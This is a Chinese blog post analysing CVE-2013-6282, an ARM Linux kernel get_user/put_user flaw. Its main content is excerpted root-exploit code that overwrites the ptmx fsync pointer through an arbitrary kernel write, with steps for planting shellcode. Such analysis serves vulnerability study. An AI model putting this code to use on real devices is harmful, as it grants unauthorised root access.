淺析CVE-2013-6282

//weibo: @少仲


0x0 漏洞信息

https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-6282

 

0x1 漏洞描述

ARM v6/v7架構的Linux內核中的get_user/put_user接口沒有驗證目標地址,由於硬件架構的更迭,get_user/put_user最初用於實現和控制域切換的功能被棄用了,導致任何使用該API的內核代碼都可能存在安全隱患.讓任意應用來讀寫內核內存,造成權限泄漏.

 

0x2 代碼分析

//摘自run_root_shell
void *kallsyms_get_symbol_address(constchar *symbol_name)
{
 FILE *fp;
 char function[BUFSIZ];
 char symbol;
 void *address;
  intret;
 
  fp= fopen("/proc/kallsyms", "r");
  if(!fp)
  {
   printf("Failed to open /proc/kallsyms due to %s.", strerror(errno));
   return 0;
  }
 
 while(!feof(fp))
  {
   ret = fscanf(fp, "%p %c %s", &address, &symbol,function);
   if (ret != 3)
    {
     break;
    }
 
   if (!strcmp(function, symbol_name))
    {
     fclose(fp);
     return address;
    }
  }
 fclose(fp);
 
 return NULL;
}


//通過kallsyms得到結構ptmx
bool setup_ptmx_fops_address(void)
{
  if(ptmx_fops)
  {
   return true;
  }
 
 ptmx_fops = (void *)device_get_symbol_address(DEVICE_SYMBOL(ptmx_fops));
 
  if(!ptmx_fops && kallsyms_exist())
  {
   ptmx_fops = kallsyms_get_symbol_address("ptmx_fops");
  }
 
 return !!ptmx_fops;
}

//得到ptmx_fops_fsync地址,即ptmx+0x38
bool setup_ptmx_fops_fsync_address(void)
{
  if(!ptmx_fops)
  {
   setup_ptmx_fops_address();
   if (!ptmx_fops)
    {
     return false;
    }
  }
 
 ptmx_fops_fsync_address = (unsigned long int)ptmx_fops + 0x38;
 return true;
}


0x3 如何利用

(1).得到ptmx_fops_fsync地址

(2).用0xXXXXXXXX覆蓋掉ptmx_fops->fsync的指針

(3).在0xXXXXXXXX地址部署一段shellcode

(4).調用fsync(/dev/ptmx)觸發內核調用shellcode

 

//替換fsyc函數
if(pipe_write_value_at_address(ptmx_fops_fsync_address,(unsigned int)&ptmx_fsync_callback ))


//pipe_write_value_at_address函數底層通過put_user函數改寫內核地址內容
static unsigned intpipe_write_value_at_address(unsigned long address, unsigned int value) 
{ 
   char data[4]; 
   int pipefd[2]; 
   int i; 
 
   *(long *)&data = value; 
 
   if (pipe(pipefd) == -1) { 
       perror("pipe"); 
       return 1; 
   } 
 
   for (i = 0; i < (int) sizeof(data) ; i++) { 
       char buf[256];  
       buf[0] = 0; 
       if (data[i]) { 
           if (write(pipefd[1], buf, data[i]) != data[i]) { 
                printf("error inwrite().\n"); 
                break; 
           } 
       } 
 
       if (ioctl(pipefd[0], FIONREAD, (void *)(address + i)) == -1) { 
           perror("ioctl"); 
           break; 
       } 
 
       if (data[i]) { 
           if (read(pipefd[0], buf, sizeof buf) != data[i]) { 
                printf("error inread().\n"); 
                break; 
           } 
       } 
   } 
 
   close(pipefd[0]); 
   close(pipefd[1]); 
 
   return (i == sizeof (data)); 
}

//調用fsync觸發
int fd = open(PTMX_DEVICE, O_WRONLY); 
if(!fd) return 1;  
fsync(fd); 
close(fd); 


0x4 Poc

//參考run_root_shell裏的get_user和put_user部分

//ptrace->put_user->任意寫

//setsockopt->get_user->任意讀

 

0x5 漏洞修復


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章